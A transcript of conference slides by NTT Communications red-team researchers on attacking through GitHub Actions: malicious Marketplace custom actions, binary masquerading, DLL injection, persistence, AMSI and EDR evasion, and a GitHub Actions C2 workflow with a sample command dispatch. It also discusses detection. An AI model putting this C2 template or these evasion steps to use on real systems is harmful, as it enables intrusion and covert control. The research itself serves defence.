The Dark Playground of CICD: Attack Delivery by GitHub Actions

BSides LV, Cloud Village, AppSec Villageで発表した「The Dark Playground of CI/CD: Attack Delivery by GitHub Actions」の講演資料です

・BSides LV 2023
　・2023/8/10
　・https://bsideslv.org/talks#Q83C7G

・Cloud Village@DEFCON31
　・2023/8/10
　・https://cloud-village.org/#talks?collapseyusukekubokiyohitoyamamoto

・AppSec Village@DEFCON31
　・2023/8/10
　・https://www.appsecvillage.com/events/dc-2023/the-dark-playground-of-ci-cd-attack-delivery-by-github-actions-484671

Transcript

1. © NTT Communications Corporation All Rights Reserved. The Dark Playground of CI/CD Attack Delivery by GitHub Actions NTT Communications Innovation Center (R&D Team) Yusuke Kubo, Kiyohito Yamamoto
2. © NTT Communications Corporation All Rights Reserved. 2 T1087 - Account Discovery Yusuke Kubo Kiyohito Yamamoto ・NTT Communications, Japanese Telecommunication Company ・Offensive Security Researcher / Internal Red Team ・MITRE ATT&CK Contributor（T1562.009） ・NTT Group Certified Security Principal
3. © NTT Communications Corporation All Rights Reserved. 3 Agenda l Basics of Github Actions l Malicious Custom Action l Malicious JScript Composite Action l Malicious JavaScript Custom Action l Github Actions C2 l Other Threats l Free Jacking l Public Malicious Fork and PR l Theft of Secret l Conclusion l Feature Work We focused on the potential for attacks using GitHub Actions, a CICD feature provided by GitHub. And, our research has uncovered attack vectors to focus on. Main Topic
4. © NTT Communications Corporation All Rights Reserved. 4 Basics of Github Actions
5. © NTT Communications Corporation All Rights Reserved. 5 Github Actions nGithub Actions is CI/CD Platform provided by Github. https://docs.github.com/ja/actions/learn-github-actions/understanding-github-actions Overview of Github Actions The Component of Github Actions A runner is a server that runs the workflows An event is a specific activity in a repository that triggers a workflow run A job is a set of steps in a workflow that is executed on the same runner An ac'on is a custom applica9on for the GitHub Ac9ons pla<orm that performs a complex but frequently repeated task
6. © NTT Communications Corporation All Rights Reserved. 6 Runner Type Self-hosted runner GitHub-hosted runner Raising an Event (e.g., push to repository) Workflow is executed User Runner nRunner is of two types nRun with resources provided by Github = GitHub-hosted runner nRun with resources provided by the user = Self-hosted runner nThis research focuses on the case of running on Windows Resources provided by Github Run an agent called Runner Application Runner Raising an Event (e.g., push to repository) User Workflow is executed User-managed resources
7. © NTT Communications Corporation All Rights Reserved. 7 Custom Actions Can be build Docker container, JavaScript, and composite actions Type n Actions are individual tasks that you can combine to create jobs and customize your workflow n We can create own actions, or use and customize actions shared by the GitHub community https://github.com/marketplace Can be placed in the own repository or in the Gihtub Marketplace package the environment with the GitHub Actions code run JavaScript on the Runner machine allows to combine multiple workflow steps within one action We focus on the types that support Windows Location Action Action https://docs.github.com/en/actions/creating-actions/about-custom-actions
8. © NTT Communications Corporation All Rights Reserved. 8 Malicious Custom Action
9. © NTT Communications Corporation All Rights Reserved. 9 JavaScript Action Behavior n Runner.Worker.exe executes node.exe which is the JavaScript runtime n index.js is passed as an argument to node.exe. This is defined in the action metadata file. n node.exe is included in runner package(zip) for Runner Application n node.exe is extracted to externals¥node12¥bin¥node.exe and externals¥node16¥bin¥node.exe Visualization of Runner Application behavior（by ProcMon & ProcDot） Entry Point Action metadata file https://docs.github.com/en/actions /creating-actions/creating-a-javascript-action Runtime Runtime Runner Package [binary] node.exe [argument] index.js Runner.Worker.exe
10. © NTT Communications Corporation All Rights Reserved. 10 JScript vs JavaScript n Basic compatibility, but JScript and JavaScript are different. n JScript(WSH) doesnʼt support npm module but supports ActiveX. JScript is often used for endpoint attacks. n JavaScript doesnʼt support ActiveX but supports npm module. n We focused on two types of Malicious Custom Action techniques n Malicious JScript Composite Action（JScript version) n Malicious JavaScript Custom Action（JavaScript version） https://en.wikipedia.org/wiki/JScript
11. © NTT Communications Corporation All Rights Reserved. 11 Malicious JScript Custom Action wscript.exe node.exe n Binary Hijacking and Masquerading to execute JavaScript Custom Action implemented in JScript n Implement the following flow in the Github Actions workflow and execute JScript 1. Copy wscript.exe to the path of node.exe (= replace node.exe and wscript.exe) 2. Execute JavaScript Custom Action [index.js] WScript.Echo(“Hello, World”); [.github/actions/mal-action] Attacker [.github/workflows/sample.yaml] step1:copy wscript.exe step2:execute mal-action Target Step1: Copy wscript.exe to ¥externals¥node16¥bin¥node.exe Step2: index.js is executed from node.exe (wscript.exe) index.js node.exe 【Endpoint Behavior】 JavaScript Custom Action implemented in JScript Github Actions configuration Push to repository Workflow is executed
12. © NTT Communications Corporation All Rights Reserved. 12 Composite Action n Multiple steps can be bundle into a single Composite Action n Composite Action makes steps being used across workflows reusable n The reason for the Composite Action is explained later [index.js] WScript.Echo(“Hello, World”); [.github/actions/mal-action] JavaScript Custom Action implemented in JScript [.github/workflows/sample.yaml] step1: Copy wscript.exe step2: Execute mal-action Github Actions configuration [index.js] WScript.Echo(“Hello, World”); [.github/actions/mal-action] JavaScript Custom Action implemented in JScript [.github/workflows/sample.yaml] step1: Execute mal-compsite-action Github Actions configuration [.github/actions/mal-composite-action] step1: Copy wscript.exe step2: Execute mal-action Composite Action Without Composite Action With Composite Action
13. © NTT Communications Corporation All Rights Reserved. 13 Malicious JScript Composite Action Attacker Target Push to repository Workflow is executed [index.js] WScript.Echo(“Hello, World”); [.github/actions/mal-action] JavaScript Custom actions implemented in JScript [.github/workflows/ sample.yaml] step1: Execute mal-comopiste-action Github Actions configuration [.github/actions/mal-composite-action] step1: Copy wscript.exe step2: Execute mal-action Composite Action
14. © NTT Communications Corporation All Rights Reserved. 14 Malicious JScript Composite Action PoC .github/workflows/sample.yaml .github/actions/mal-composite-action/action.yaml .github/actions/mal-action/action.yaml .github/actions/mal-action/index.js Github Actions Config Composite Action JavaScript Custom Action Malicious JScript Placed the action in its own repository for external impact. Therefore, it requires a checkout action
15. © NTT Communications Corporation All Rights Reserved. 15 DEMO Malicious JScript Composite Action to infect CobaltStrike C2
16. © NTT Communications Corporation All Rights Reserved. 16
17. © NTT Communications Corporation All Rights Reserved. 17 Malicious JavaScript Custom Action Implementation part of injectDLL in memoryjs library n Arbitrary attacks from JavaScript Custom Action using Nodejs C++ add-on n This feature provides an interface between JavaScript and C/C++ libraries ＝ C/C++ code can be executed from nodejs n The package “memoryjs” implements the OpenProcess and InjectDLL functions. n OpenProcess can open a process and get a handle n injectDLL can inject a DLL in the Allocate, Write, Execution flow. = memoryjs allows DLL Injection from nodejs script to remote process https://github.com/Rob-- /memoryjs/blob/2c0ff84ae0ec1ff2ea3b493ca02be5f12f8d5ea0/lib/dll.h nodejs script to execute OpenProcess Output(processObject)
18. © NTT Communications Corporation All Rights Reserved. 18 Malicious JavaScript Custom Action PoC Github Actions Config JavaScript Custom Action Malicious JavaScript .github/workflows/sample.yaml .github/actions/mal-action/action.yaml .github/actions/mal-action/index.js Directory of .github/actions/mal-action node modules (include “memoryjs”) Simple DLL to launch calculator
19. © NTT Communications Corporation All Rights Reserved. 19 Attack Scenario: Release of malicious actions n Attacker can publish and share custom actions in GitHub Marketplace n It could be published fake custom action under the guise of being legitimate n e.g. Looks like an action that works as a formatter (in truth, a back door is planted) n There is a threat of users using published malicious actions in their workflow Target ④Getting Action User ②Setting up Github Actions ③Workflow is executed Attacker ①Publish Malicious Actions https://github.com/marketplace
20. © NTT Communications Corporation All Rights Reserved. 20 Attack Scenario: Why Composite Action n Composite Actions can be combined into a single custom action n Complete a workflow with a single step, without the need for other steps n = Attacker can publish fake actions including backdoor on the GitHub Marketplace [index.js] WScript.Echo(“Hello, World”); mal-action@MarketPlace [.github/workflows/sample.yaml] step1: Copy wscript.exe step2: Execute mal-action Without Composite Action [index.js] WScript.Echo(“Hello, World”); [mal-action@MarketPlace] [mal-composite-action@Marketplace] step1: Copy wscript.exe step2: Execute mal-action With Composite Action Victims may use fake action published on MarketPlace Victims may use fake action published on MarketPlace [Problem] Who set up this step? Publish on Github MarketPlace Publish on Github MarketPlace Github Actions configuration Composite Action Github Actions configuration [.github/workflows/sample.yaml] step1: Execute mal-compsite-action JavaScript Custom Action implemented in JScript JavaScript Custom Action implemented in JScript
21. © NTT Communications Corporation All Rights Reserved. 21 Advanced Technique: Persistence n Runner Application is killing the associated child processes at the end of the workflow n Itʼs mean, when "create process" is performed, the launched process is tracked and killed n Process environment variable named RUNNER_TRACKING_ID is used to track = Tracking can be disabled by rewriting RUNNER_TRACKING_ID jscript to rewrite process environment variables Process environment variables for werfault.exe Persistent C2 Process Runner Application Process Tree Earlybird Injection + PPID Spoofing characteristic environment variables such as “GITHUB_” and “RUNNER_” indicates that it has been persisted
22. © NTT Communications Corporation All Rights Reserved. 22 Counter-Measure for Malicious Custom Actions n Github publishes Best Practice in chapter “Using third-party actions” ＝Github is aware of the threat of malicious custom actions being published https://docs.github.com/en/actions/security-guides/security-hardening-for- github-actions#using-third-party-actions
23. © NTT Communications Corporation All Rights Reserved. 23 Detection: Malicious JScript Composite Action n EDR detects the execution of wscript.exe replaced by the name node.exe n JS files are deployed to the host and are detected by AV This is an unchangeable part of the Malicious JScript Composite Action technique, so it is a valid detection point. Not an effective detection point because it is bypassed depending on the implementation of the malicious script
24. © NTT Communications Corporation All Rights Reserved. 24 Detection: Malicious JScript Composite Action n AMSI Scan Buffer can be bypassed by simply changing a part of JScript n In this demo, GadgetToJScript was used to generate a js file that performs Process Injection n Simply changing some characteristic strings specific to the tool will prevent detection https://twitter.com/an0n_r0/status/1633620693504913408 Reported on twitter by @an0n_r0 Diff before (detected) and after (not detected) the change
25. © NTT Communications Corporation All Rights Reserved. 25 Detection: Malicious JavaScript Custom Action n Harder to detect than Malicious JScript Composite Action n Malicious JavaScript Custom Actions doesnʼt require replacement of the scripting engine = One less detection point in EDR n Probably the only way to detect malicious code and behavior by javascript and C++ addon n e.g. Credential Dumping, Exfiltration etc n Likely effective for AMSI Bypass n Using a scripting engine that does not support AMSI is said to be an effective means of AMSI Bypass n Experimented with the string "AmsiScanBuffer" as oracle, node.exe is not detected by AMSI n Checked the DLLs loaded by node.exe in API Monitor and amsi.dll does not exist Attempt to output "AmsiScanBuffer” DLLs loaded by node.exe
26. © NTT Communications Corporation All Rights Reserved. 26 GitHub Actions C2
27. © NTT Communications Corporation All Rights Reserved. 27 GitHub Actions C2 Attacker C2 communication Target Pushing malicious GitHub Actions Config Attackerʻs own repository Self-hosted Runner Application n C2 by utilizing GitHub Actions runner application as an agent n Threat from the following two perspectives: n The source process is a legitimate application（Runner.Worker.exe, Runner.Listener.exe） n The destination is a legitimate domain and IP （*.github.com, *.actions.githubusercontent.com）
28. © NTT Communications Corporation All Rights Reserved. 28 How to establish C2 on GitHub Actions n Runner application, when launched, performs long polling against GitHub to await jobs. n Each runner should be assigned a unique identification label specific to the target machine. n This allows attacker to send command individually when establishing C2 connection with multiple targets. ①Create a repository for attacks Attacker ①Download Runner Application ②Send Runner Application (e.g., phishing) ③Execute Runner Application ④Establish Github Actions (= Establish C2) Target
29. © NTT Communications Corporation All Rights Reserved. 29 How to send commands on GitHub Actions C2 n Any shell commands can be executed via GitHub Actionsʼ workflow. n To trigger the workflow while passing instructions from outside of GitHub, use Webhook event called "repository_dispatch" n Plus, using the just introduced Malicious Custom Actions, more advanced attacks can also be performed. name: c2 on: repository_dispatch jobs: c2run: ... steps: - name: cmd if: ${{ github.event.client_payload.type == 'cmd’ }} run: "${{ github.event.client_payload.cmd }}" Workflow sample curl -L ¥ -X POST ¥ -H "Accept: application/vnd.github+json" ¥ -H "Authorization: Bearer <YOUR-TOKEN>"¥ -H "X-GitHub-Api-Version: 2022-11-28" ¥ https://api.github.com/repos/OWNER/REPO/dispatc hes ¥ -d '{"event_type":"command","client_payload":{"typ e":"cmd","cmd":"whoami"}}' Repository_dispatch sample event
30. © NTT Communications Corporation All Rights Reserved. 30 GitHub Actions C2 PoC
31. © NTT Communications Corporation All Rights Reserved. 31 Attack Scenario: GitHub Actions C2 ①Create a repository for attacks ④ʼWorkflow is executed Attacker ①ʼ Download Runner Application ② Send Runner Application (e.g., phishing) ③ Execute Runner Application ③ʼ Establish Github Actions (= Establish C2) ④ Pushing malicious Github Actions Config Target 1. Attacker creates a public repository for attacks. 2. Attacker sends their runner application to targets using techniques such as phishing. 3. Target user unknowingly runs the application and C2 communication is established. 4. Attacker calls Webhook to trigger workflows and malicious jobs are run on the target.
32. © NTT Communications Corporation All Rights Reserved. 32 Detection: GitHub Actions C2 n Since source process and destination domain is legitimate, C2 establishment is hard to detect. n Source process: Runner.Worker.exe, Runner.Listener.exe n Destination domain: *.github.com, *.actions.githubusercontent.com, … n Don't dismiss alerts for activities related to GitHub Actions C2 just because they seem legitimate. n They could indicate the use of GitHub Actions C2 as TTP. Communications between self-hosted runners and GitHub
33. © NTT Communications Corporation All Rights Reserved. 33 Other Threats Free Jacking, Malicious Public Fork & PR, and Stealing Secrets
34. © NTT Communications Corporation All Rights Reserved. 34 Free Jacking GitHubʼs resource Attacker GitHub Actions configuration file (YAML) with a mining script included Configure Github Actions Execute GitHub Actions The mining script is executed using GitHub resources. Rewards can be obtained through mining utilizing GitHub resources. n Free Jacking is the process of using free (or limited-time) cloud resources to perform cryptomining operations. https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/
35. © NTT Communications Corporation All Rights Reserved. 35 Free Jacking on GitHub Actions Specification Change by GitHub (Fork & PR Approval) n Forking a public repository, embedding mining code into GitHub Actions, and sending a Pull Request trigger mining using GitHub resources. n To prevent this, approvals have been required to run workflows from public forks since April 2021. n Attackers have shifted their focus towards automatically creating GitHub accounts, executing GitHub Actions, and exploiting GitHub resources.
36. © NTT Communications Corporation All Rights Reserved. 36 Malicious Public Fork & PR GitHub Docs: adding self-hosted runner https://github.com/praetorian-inc/gato First commit on 2023/01/07 n If a self-hosted runner is being used with a public repository, GitHub Actions may become a potential entry point for external attackers to gain initial foothold. n GitHub recommends using self-hosted runners only for private repositories. However, it's worth noting that there are numerous organizations that still utilize self-hosted runners. n There are tools available for exploring public repositories that use self-hosted runners, and investigations are planned to assess the actual situation.
37. © NTT Communications Corporation All Rights Reserved. 37 Stealing Secrets Access to secrets Karim Rahal has mentioned the theft of secrets from the perspective of environment variables, network traffic, and memory. https://docs.github.com/ja/actions/using-workflows/workflow-syntax-for-github-actions C.J. May's statement is based on actual incidents and suggests that malicious actions have already been published on the Marketplace. n GitHub provides a feature to create encrypted environment variables called "secrets" at the organization or repository level. n Secrets can be accessed by GitHub Actions when they are set up for the repository. n This poses a potential risk of secrets being stolen if accessed by external attackers through GitHub Actions.
38. © NTT Communications Corporation All Rights Reserved. 38 Conclusion n By utilizing the features offered by CI/CD, such as command and script execution, it is possible to launch an attack within the legitimate CI/CD process. n Malicious code may infiltrate the CI/CD pipeline without notice through a publicly available malicious plugin (Malicious Custom Action). n There is a risk of enabling C2 through the legitimate features offered by CI/CD which add user- owned hosts for executing tasks (GitHub Actions C2).
39. © NTT Communications Corporation All Rights Reserved. 39 Future Work Threat Analysis from Different Perspectives: n Examination of threats when considering organizations instead of the entire GitHub platform. n Exploring the possibility of GitHub Actions becoming a starting point for lateral movement if an organization's GitHub accounts are compromised. n Assessing threats from the perspective of Linux and macOS systems. n Analyzing the impact of transforming GitHub Actions into a service. Threat Analysis of Other CI/CD Tools: n Evaluating the security threats associated with other CI/CD tools such as CircleCI that provide similar functionalities to GitHub Actions. n Determining if there are similar threats across different CI/CD tools or if there are specific differences based on the services offered. Validation of Malicious JavaScript Custom Actions (Node.js-based Post Exploitation): n Implementing attack techniques using C++ add-ons to explore alternative methods apart from DLL Injection. n Conducting detection and analysis experiments with AV/EDR solutions. n Modifying implementation logic to assess variations in attack vectors. n Investigating scenarios where C++ add-ons execute the attack while JavaScript serves as the trigger, along with the role of C++ add-ons as Windows API wrappers and JavaScript for assembling the attack. Investigation of Existing Custom Actions in the GitHub Actions Marketplace: n Examining the reality of custom actions already published in the Marketplace. n Identifying existing threats and raising awareness if such threats are already present. Widely Deeply